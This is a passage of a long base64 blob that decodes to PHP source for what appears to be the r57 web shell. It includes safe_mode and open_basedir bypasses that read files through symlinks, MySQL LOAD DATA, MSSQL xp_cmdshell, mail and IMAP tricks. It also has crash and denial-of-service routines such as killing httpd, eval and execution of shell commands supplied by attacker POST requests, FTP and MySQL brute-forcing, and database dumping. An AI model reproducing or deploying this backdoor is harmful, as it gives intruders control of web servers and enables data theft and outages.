yIuc3RyX3JlcGVhdCgiLi4vIiwkZmFrZWRlcC0xKS4kdGVzdDY5X2ZpbGUsInN5bWxpbmsiLiRudW0pKSkgYnJlYWs7DQogIGVsc2UgJG51bSsrOw0KICBAdW5saW5rKCJmYWtlc3ltbGluayIpOw0KICBta2RpcigiZmFrZXN5bWxpbmsiKTsNCiAgZWNobygnb3BlbiB0aGlzIHN5bWxpbmsgaW4gYnJvd3NlcjogL3N5bWxpbmsnLiRudW0pOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDMnOg0KICAkZGIgPSBAbXlzcWxfY29ubmVjdCgkX1BPU1RbJ3Rlc3QzX2hvc3QnXSwkX1BPU1RbJ3Rlc3QzX21sJ10sJF9QT1NUWyd0ZXN0M19tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG15c3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3QzX21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBteXNxbF9xdWVyeSgiRFJPUCBUQUJMRSBJRiBFWElTVFMgYHRlbXBfcjU3X3RhYmxlYCIpOw0KICAgICBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgdGVtcF9yNTdfdGFibGVgICggYGZpbGVgIExPTkdCTE9CIE5PVCBOVUxMICkiKTsNCiAgICAgQG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFIFwiIi4kX1BPU1RbJ3Rlc3QzX2ZpbGUnXS4iXCIgSU5UTyBUQUJMRSBgdGVtcF9yNTdfdGFibGVgIEZJRUxEUyBURVJNSU5BVEVEIEJZICcnIEVTQ0FQRUQgQlkgJycgTElORVMgVEVSTUlOQVRFRCBCWSAnXG4nIik7DQogICAgICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGB0ZW1wX3I1N190YWJsZWAiKTsNCiAgICAgd2hpbGUoKCRyX3NxbCA9IEBteXNxbF9mZXRjaF9hcnJheSgkcikpKSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJHJfc3FsWzBdKS4iXHJcbiI7IH0NCiAgICAgQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1wX3I1N190YWJsZSIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgc2VsZWN0IGRhdGFiYXNlIjsNCiAgIEBteXNxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBteXNxbCBzZXJ2ZXIiOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDQnOg0KICBpZihlbXB0eSgkX1BPU1RbJ3Rlc3Q0X3BvcnQnXSkpIHsgJF9QT1NUWyd0ZXN0NF9wb3J0J10gPSAiMTQzMyI7IH0NCiAgJGRiID0gQG1zc3FsX2Nvbm5lY3QoJF9QT1NUWyd0ZXN0NF9ob3N0J10sJF9QT1NUWyd0ZXN0NF9wb3J0J10sJF9QT1NUWyd0ZXN0NF9tbCddLCRfUE9TVFsndGVzdDRfbXAnXSk7DQogIGlmKCRkYikNCiAgIHsNCiAgIGlmKEBtc3NxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0NF9tZCddLCRkYikpDQogICAgew0KICAgICBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7DQogICAgIEBtc3NxbF9xdWVyeSgiY3JlYXRlIHRhYmxlIHI1N190ZW1wX3RhYmxlICggc3RyaW5nIFZBUkNIQVIgKDUwMCkgTlVMTCkiLCRkYik7DQogICAgIEBtc3NxbF9xdWVyeSgiaW5zZXJ0IGludG8gcjU3X3RlbXBfdGFibGUgRVhFQyBtYXN0ZXIuZGJvLnhwX2NtZHNoZWxsICciLiRfUE9TVFsndGVzdDRfZmlsZSddLiInIiwkZGIpOw0KICAgICAkcmVzID0gbXNzcWxfcXVlcnkoInNlbGVjdCAqIGZyb20gcjU3X3RlbXBfdGFibGUiLCRkYik7DQogICAgIHdoaWxlKCgkcm93PUBtc3NxbF9mZXRjaF9yb3coJHJlcykpKQ0KICAgICAgew0KICAgICAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiJcclxuIjsNCiAgICAgIH0NCiAgICBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7DQogICAgfQ0KICAgIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOw0KICAgQG1zc3FsX2Nsb3NlKCRkYik7DQogICB9DQogIGVsc2UgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIE1TU1FMIHNlcnZlciI7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0NSc6DQogICR0ZW1wPXRlbXBuYW0oJGRpciwgImZuYW1lIik7DQogIGlmIChAZmlsZV9leGlzdHMoJHRlbXApKSBAdW5saW5rKCR0ZW1wKTsNCiAgJGV4dHJhID0gIi1DICIuJF9QT1NUWyd0ZXN0NV9maWxlJ10uIiAtWCAkdGVtcCI7DQogIEBtYl9zZW5kX21haWwoTlVMTCwgTlVMTCwgTlVMTCwgTlVMTCwgJGV4dHJhKTsNCiAgJHN0ciA9IG1vcmVyZWFkKCR0ZW1wKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOw0KICBAdW5saW5rKCR0ZW1wKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q2JzoNCiAgJHN0cmVhbSA9IEBpbWFwX29wZW4oJy9ldGMvcGFzc3dkJywgIiIsICIiKTsNCiAgJGRpcl9saXN0ID0gQGltYXBfbGlzdCgkc3RyZWFtLCB0cmltKCRfUE9TVFsndGVzdDZfZmlsZSddKSwgIioiKTsNCiAgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGRpcl9saXN0KTsgJGkrKykgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRkaXJfbGlzdFskaV0pLiJcclxuIjsNCiAgQGltYXBfY2xvc2UoJHN0cmVhbSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Nyc6DQogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCRfUE9TVFsndGVzdDdfZmlsZSddLCAiIiwgIiIpOw0KICAkc3RyID0gQGltYXBfYm9keSgkc3RyZWFtLCAxKTsNCiAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzdHIpOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q4JzoNCiAgJHRlbXA9QHRlbXBuYW0oJF9QT1NUWyd0ZXN0OF9maWxlMiddLCAiY29weXRlbXAiKTsNCiAgJHN0ciA9IHJlYWR6bGliKCRfUE9TVFsndGVzdDhfZmlsZTEnXSwkdGVtcCk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCiAgQHVubGluaygkdGVtcCk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0OSc6DQogIEBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7DQogIEBpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7DQogICRzdHIgPSBtb3JlcmVhZCgkX1BPU1RbJ3Rlc3Q5X2ZpbGUnXSk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMCc6DQogIEBvYl9jbGVhbigpOw0KICAkZXJyb3JfcmVwb3J0aW5nID0gQGluaV9nZXQoJ2Vycm9yX3JlcG9ydGluZycpOw0KICBlcnJvcl9yZXBvcnRpbmcoRV9BTEwgXiBFX05PVElDRSk7DQogIEBpbmlfc2V0KCJkaXNwbGF5X2Vycm9ycyIsIDEpOyANCiAgJHN0cj1mb3BlbigkX1BPU1RbJ3Rlc3QxMF9maWxlJ10sInIiKTsNCiAgd2hpbGUoIWZlb2YoJHN0cikpe3ByaW50IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJHN0cikpO30NCiAgZmNsb3NlKCRzdHIpOw0KICBlcnJvcl9yZXBvcnRpbmcoJGVycm9yX3JlcG9ydGluZyk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTEnOg0KICBAb2JfY2xlYW4oKTsNCiAgJHRlbXAgPSAnemlwOi8vJy4kX1BPU1RbJ3Rlc3QxMV9maWxlJ107DQogICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7DQogIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxMic6DQogIEBvYl9jbGVhbigpOw0KICAkdGVtcCA9ICdjb21wcmVzcy5iemlwMjovLycuJF9QT1NUWyd0ZXN0MTJfZmlsZSddOw0KICAkc3RyID0gbW9yZXJlYWQoJHRlbXApOw0KICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHN0cik7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTMnOg0KICBAZXJyb3JfbG9nKCRfUE9TVFsndGVzdDEzX2ZpbGUxJ10sIDMsICJwaHA6Ly8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8iLiRfUE9TVFsndGVzdDEzX2ZpbGUyJ10pOw0KICBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MSddOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDE0JzoNCiAgQHNlc3Npb25fc2F2ZV9wYXRoKCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10uIlwwOy90bXAiKTsNCiAgQHNlc3Npb25fc3RhcnQoKTsNCiAgQCRfU0VTU0lPTltwaHBdPSRfUE9TVFsndGVzdDE0X2ZpbGUxJ107DQogIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTUnOg0KICBAcmVhZGZpbGUoJF9QT1NUWyd0ZXN0MTVfZmlsZTEnXSwgMywgInBocDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLyIuJF9QT1NUWyd0ZXN0MTVfZmlsZTInXSk7DQogIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTYnOg0KICBpZiAoZm9wZW4oJ3NycGF0aDovLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MTZfZmlsZSddLCJhIikpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ107DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0MTdfMSc6DQogIEB1bmxpbmsoJ3N5bWxpbmtyZWFkJyk7DQogIEBzeW1saW5rKCdhL2EvYS9hL2EvYS8nLCAnZHVtbXknKTsNCiAgQHN5bWxpbmsoJ2R1bW15Ly4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLycuJF9QT1NUWyd0ZXN0MTdfZmlsZSddLCAnc3ltbGlua3JlYWQnKTsNCiAgQHVubGluaygnZHVtbXknKTsNCiAgd2hpbGUgKDEpIA0KICAgew0KICAgIEBzeW1saW5rKCcuJywgJ2R1bW15Jyk7DQogICAgQHVubGluaygnZHVtbXknKTsNCiAgIH0NCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxN18yJzoNCiAgJHN0cj0nJzsNCiAgd2hpbGUgKHN0cmxlbigkc3RyKSA8IDMpIHsgICANCiAgICR0ZW1wID0gJ3N5bWxpbmtyZWFkJzsNCiAgICRzdHIgPSBtb3JlcmVhZCgkdGVtcCk7DQogICBpZigkc3RyKXsgQG9iX2NsZWFuKCk7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkc3RyKTt9DQogIH0NCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3QxN18zJzoNCiAgJGRpciA9ICRmaWxlcyA9IGFycmF5KCk7DQogIGlmKEB2ZXJzaW9uX2NvbXBhcmUoQHBocHZlcnNpb24oKSwiNS4wLjAiKT49MCl7DQogICB3aGlsZSAoQGNvdW50KCRkaXIpIDwgMykgew0KICAgICRkaXI9QHNjYW5kaXIoJ3N5bWxpbmtyZWFkJyk7DQogICAgaWYgKEBjb3VudCgkZGlyKSA+IDIpIHtAb2JfY2xlYW4oKTsgQHByaW50X3IoJGRpcik7IH0NCiAgIH0NCiAgfQ0KICBlbHNlIHsNCiAgIHdoaWxlIChAY291bnQoJGZpbGVzKSA8IDMpIHsNCiAgICAkZGggID0gQG9wZW5kaXIoJ3N5bWxpbmtyZWFkJyk7DQogICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGVuYW1lID0gQHJlYWRkaXIoJGRoKSkpIHsNCiAgICAgJGZpbGVzW10gPSAkZmlsZW5hbWU7DQogICAgfQ0KICAgIGlmKEBjb3VudCgkZmlsZXMpID4gMil7QG9iX2NsZWFuKCk7IEBwcmludF9yKCRmaWxlcyk7IH0NCiAgIH0NCiAgfQ0KICBicmVhazsNCiB9DQp9DQppZigoISRzYWZlX21vZGUpICYmICgkX1BPU1RbJ2NtZCddIT0icGhwX2V2YWwiKSAmJiAoJF9QT1NUWydjbWQnXSE9Im15c3FsX2R1bXAiKSAmJiAoJF9QT1NUWydjbWQnXSE9ImRiX3F1ZXJ5IikgJiYgKCRfUE9TVFsnY21kJ10hPSJmdHBfYnJ1dGUiKSAmJiAoJF9QT1NUWydjbWQnXSE9ImRiX2JydXRlIikpew0KICRjbWRfcmVwID0gZXgoJF9QT1NUWydjbWQnXSk7DQogaWYoISR1bml4KSB7IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGNvbnZlcnRfY3lyX3N0cmluZygkY21kX3JlcCwnZCcsJ3cnKSkuIlxuIjsgfQ0KIGVsc2UgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRjbWRfcmVwKS4iXG4iOyB9fQ0KIA0Kc3dpdGNoKCRfUE9TVFsnY21kJ10pDQp7DQogY2FzZSAnZG9zMSc6DQogZnVuY3Rpb24gYSgpIHsgYSgpOyB9IGEoKTsNCiBicmVhazsNCiBjYXNlICdkb3MyJzoNCiBAcGFjaygiZDQyOTQ5NjcyOTciLCAyKTsNCiBicmVhazsNCiBjYXNlICdkb3MzJzoNCiAkYSA9ICJhIjtAdW5zZXJpYWxpemUoQHN0cl9yZXBsYWNlKCcxJywgMjE0NzQ4MzY0NywgQHNlcmlhbGl6ZSgkYSkpKTsNCiBicmVhazsNCiBjYXNlICdkb3M0JzoNCiAkdCA9IGFycmF5KDEpO3doaWxlICgxKSB7JGFbXSA9ICYkdDt9Ow0KIGJyZWFrOw0KIGNhc2UgJ2RvczUnOg0KIEBkbCgic3FsaXRlLnNvIik7JGRiID0gbmV3IFNxbGl0ZURhdGFiYXNlKCJmb28iKTsNCiBicmVhazsNCiBjYXNlICdkb3M2JzoNCiBwcmVnX21hdGNoKCcvKC4oPyFiKSkqLycsIEBzdHJfcmVwZWF0KCJhIiwgMTAwMDApKTsNCiBicmVhazsNCiBjYXNlICdkb3M3JzoNCiBAc3RyX3JlcGxhY2UoIkEiLCBzdHJfcmVwZWF0KCJCIiwgNjU1MzUpLCBzdHJfcmVwZWF0KCJBIiwgNjU1MzgpKTsNCiBicmVhazsNCiBjYXNlICdkb3M4JzoNCiBAc2hlbGxfZXhlYygia2lsbGFsbCAtMTEgaHR0cGQiKTsNCiBicmVhazsNCiBjYXNlICdkb3M5JzoNCiBmdW5jdGlvbiBjeCgpeyBAdGVtcG5hbSgiL3d3dy8iLCAiLi4vLi4vLi4vLi4vLi4vLi4vdmFyL3RtcC9jeCIpOyBjeCgpOyB9IGN4KCk7DQogYnJlYWs7DQogY2FzZSAnZG9zMTAnOg0KICRhID0gQHN0cl9yZXBlYXQgKCJBIiw0MzgwMTMpOyRiID0gQHN0cl9yZXBlYXQgKCJCIiw5NTExNDApO0B3b3Jkd3JhcCAoJGEsMCwkYiwwKTsNCiBicmVhazsNCiBjYXNlICdkb3MxMSc6DQogQGFycmF5X2ZpbGwoMSwxMjM0NTY3ODksIkluZmlnby1JUyIpOw0KIGJyZWFrOw0KIGNhc2UgJ2RvczEyJzoNCiBAc3Vic3RyX2NvbXBhcmUoIkEiLCJBIiwxMjM0NTY3OCk7DQogYnJlYWs7DQogY2FzZSAnZG9zMTMnOg0KIEB1bnNlcmlhbGl6ZSgiYToyMTQ3NDgzNjQ5OnsiKTsNCiBicmVhazsNCiBjYXNlICdkb3MxNCc6DQogJERhdGEgPSBAc3RyX2lyZXBsYWNlKCJcbiIsICI8YnI+IiwgJERhdGEpOw0KIGJyZWFrOw0KIGNhc2UgJ2RvczE1JzoNCiBmdW5jdGlvbiB0b1VURigkeCkge3JldHVybiBjaHIoKCR4ID4+IDYpICsgMTkyKSAuIGNocigoJHggJiA2MykgKyAxMjgpO30NCiAkc3RyMSA9ICIiO2ZvcigkaT0wOyAkaSA8IDY0OyAkaSsrKXsgJHN0cjEgLj0gdG9VVEYoOTc3KTt9DQogQGh0bWxlbnRpdGllcygkc3RyMSwgRU5UX05PUVVPVEVTLCAiVVRGLTgiKTsNCiBicmVhazsNCiBjYXNlICdkb3MxNic6DQogJHIgPSBAemlwX29wZW4oInguemlwIik7JGUgPSBAemlwX3JlYWQoJHIpOyR4ID0gQHppcF9lbnRyeV9vcGVuKCRyLCAkZSk7DQogZm9yICgkaT0wOyAkaTwxMDAwOyAkaSsrKSAkYXJyWyRpXT1hcnJheShhcnJheSgiIikpOw0KIHVuc2V0KCRhcnJbNjAwXSk7QHppcF9lbnRyeV9yZWFkKCRlLCAtMSk7dW5zZXQoJGFycls2MDFdKTsNCiBicmVhazsNCiBjYXNlICdkb3MxNyc6DQogJHogPSAiVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVUiOyANCiAkeSA9ICJERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERCI7IA0KICR4ID0gIkFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIjsgDQogdW5zZXQoJHopO3Vuc2V0KCR5KTskeCA9IGJhc2U2NF9kZWNvZGUoJHgpOyR5ID0gQHNxbGl0ZV91ZGZfZGVjb2RlX2JpbmFyeSgkeCk7dW5zZXQoJHgpOw0KIGJyZWFrOw0KIGNhc2UgJ2RvczE4JzoNCiAkTVNHS0VZID0gNTE5MDUyOyRtc2dfaWQgPSBAbXNnX2dldF9xdWV1ZSAoJE1TR0tFWSwgMDYwMCk7IA0KIGlmICghQG1zZ19zZW5kICgkbXNnX2lkLCAxLCAnQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISEgnLCBmYWxzZSwgdHJ1ZSwgJG1zZ19lcnIpKSANCiBlY2hvICJNc2cgbm90IHNlbnQgYmVjYXVzZSAkbXNnX2VyclxuIjsgDQogaWYgKEBtc2dfcmVjZWl2ZSAoJG1zZ19pZCwgMSwgJG1zZ190eXBlLCAweGZmZmZmZmZmLCAkX1NFU1NJT04sIGZhbHNlLCAwLCAkbXNnX2Vycm9yKSkgeyANCiBlY2hvICIkbXNnXG4iOyANCiB9IGVsc2UgeyBlY2hvICJSZWNlaXZlZCAkbXNnX2Vycm9yIGZldGNoaW5nIG1lc3NhZ2VcbiI7IGJyZWFrOyB9IA0KIEBtc2dfcmVtb3ZlX3F1ZXVlICgkbXNnX2lkKTsNCiBicmVhazsNCiBjYXNlICdkb3MxOSc6DQogJHVybCA9ICJwaHA6Ly9maWx0ZXIvcmVhZD1PRkZfQllfT05FLi9yZXNvdXJjZT0vZXRjL3Bhc3N3ZCI7IEBmb3BlbigkdXJsLCAiciIpOw0KIGJyZWFrOw0KIGNhc2UgJ2RvczIwJzoNCiAkaGFzaHRhYmxlID0gc3RyX3JlcGVhdCgiQSIsIDM5KTsNCiAkaGFzaHRhYmxlWzUqNCswXT1jaHIoMHg1OCk7JGhhc2h0YWJsZVs1KjQrMV09Y2hyKDB4NDApOyRoYXNodGFibGVbNSo0KzJdPWNocigweDA2KTskaGFzaHRhYmxlWzUqNCszXT1jaHIoMHgwOCk7DQogJGhhc2h0YWJsZVs4KjQrMF09Y2hyKDB4NjYpOyRoYXNodGFibGVbOCo0KzFdPWNocigweDc3KTskaGFzaHRhYmxlWzgqNCsyXT1jaHIoMHg4OCk7JGhhc2h0YWJsZVs4KjQrM109Y2hyKDB4OTkpOw0KICRzdHIgPSAnYToxMDAwMDA6e3M6ODoiQUFBQUJCQkIiO2E6Mzp7czoxMjoiMDEyMzQ1Njc4OUFBIjthOjE6e3M6MTI6IkFBQUFCQkJCQ0NDQyI7aTowO31zOjEyOiIwMTIzNDU2NzhBQUEiO2k6MDtzOjEyOiIwMTIzNDU2NzhCQU4iO2k6MDt9JzsNCiBmb3IgKCRpPTA7ICRpPDY1NTM1OyAkaSsrKSB7ICRzdHIgLj0gJ2k6MDtSOjI7JzsgfQ0KICRzdHIgLj0gJ3M6Mzk6IlhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWCI7czozOToiJy4kaGFzaHRhYmxlLiciO2k6MDtSOjM7JzsNCiBAdW5zZXJpYWxpemUoJHN0cik7DQogYnJlYWs7DQp9DQogDQppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7DQogJGV2YWwgPSBAc3RyX3JlcGxhY2UoIiIsIiIsJF9QT1NUWydwaHBfZXZhbCddKTsNCiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiIiwiIiwkZXZhbCk7DQogQGV2YWwoJGV2YWwpO30NCiANCmlmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2JydXRlIikNCiB7DQogJHN1YyA9IDA7DQogaWYoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpew0KIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0KICB7DQogICAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiAgICBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLCR1c2VyKSkgeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQ0KICAgIGVsc2UgaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKSB7IGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJHVzZXIsc3RycmV2KCR1c2VyKSkpIHsgZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0gfSANCiAgICBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCiAgfQ0KIH1lbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0nZGljJykgJiYgaXNzZXQoJF9QT1NUWydmdHBfbG9naW4nXSkpew0KICBmb3JlYWNoKCR1c2VycyBhcyAkdXNlcikNCiAgew0KICAgICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7DQogICAgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9sb2dpbiddLCR1c2VyKSkgeyBlY2hvICJbK10gIi4kX1BPU1RbJ2Z0cF9sb2dpbiddLiI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQ0KICAgIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOw0KICB9DQogfQ0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7DQogJGNvdW50ID0gY291bnQoJHVzZXJzKTsNCiBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkgJiYgKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCiANCmlmICgkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKQ0KIHsNCiAkc3VjID0gMDsNCiBpZigkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJyl7DQogZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogIHsNCiAgICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107DQogICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogICAkc3FsLT51c2VyID0gJHVzZXI7DQogICAkc3FsLT5wYXNzID0gJHVzZXI7DQogICBpZigkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWytdICR1c2VyOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgfQ0KIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSkNCiAgew0KICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpDQogICAgew0KICAgICAkc3FsID0gbmV3IG15X3NxbCgpOw0KICAgICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICAgICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsNCiAgICAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOw0KICAgICAkc3FsLT51c2VyID0gJHVzZXI7DQogICAgICRzcWwtPnBhc3MgPSBzdHJyZXYoJHVzZXIpOw0KICAgICBpZigkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWytdICR1c2VyOiIuc3RycmV2KCR1c2VyKS4iIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0NCiAgICB9DQogIH0NCiB9ZWxzZSBpZigoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J2RpYycpICYmIGlzc2V0KCRfUE9TVFsnbXlzcWxfbCddKSl7DQogIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQ0KICB7DQogICAkc3FsID0gbmV3IG15X3NxbCgpOw0KICAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsNCiAgICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOw0KICAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOw0KICAgJHNxbC0+cGFzcyA9ICR1c2VyOw0KICAgaWYoJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlsrXSAiLiRfUE9TVFsnbXlzcWxfbCddLiI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQ0KICB9DQogfQ0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7DQogJGNvdW50ID0gY291bnQoJHVzZXJzKTsNCiBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkgJiYgKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKSkgeyAkY291bnQgKj0gMjsgfQ0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsNCiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOw0KIH0NCiANCmlmICgkX1BPU1RbJ2NtZCddPT0ibXlzcWxfZHVtcCIpDQogew0KICBpZihpc3NldCgkX1BPU1RbJ2RpZiddKSkgeyAkZnAgPSBAZm9wZW4oJF9QT1NUWydkaWZfbmFtZSddLCAidyIpOyB9DQogICRzcWwgPSBuZXcgbXlfc3FsKCk7DQogICRzcWwtPmRiICAgPSAkX1BPU1RbJ2RiJ107DQogICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107DQogICRzcWwtPnVzZXIgPSAkX1BPU1RbJ215c3FsX2wnXTsNCiAgJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOw0KICBpZighJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3QgY29ubmVjdCB0byBTUUwgc2VydmVyIjsgfQ0KICBlbHNlIGlmKCEkc3FsLT5zZWxlY3RfZGIoKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IHNlbGVjdCBkYXRhYmFzZSI7IH0NCiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjsgfQ0K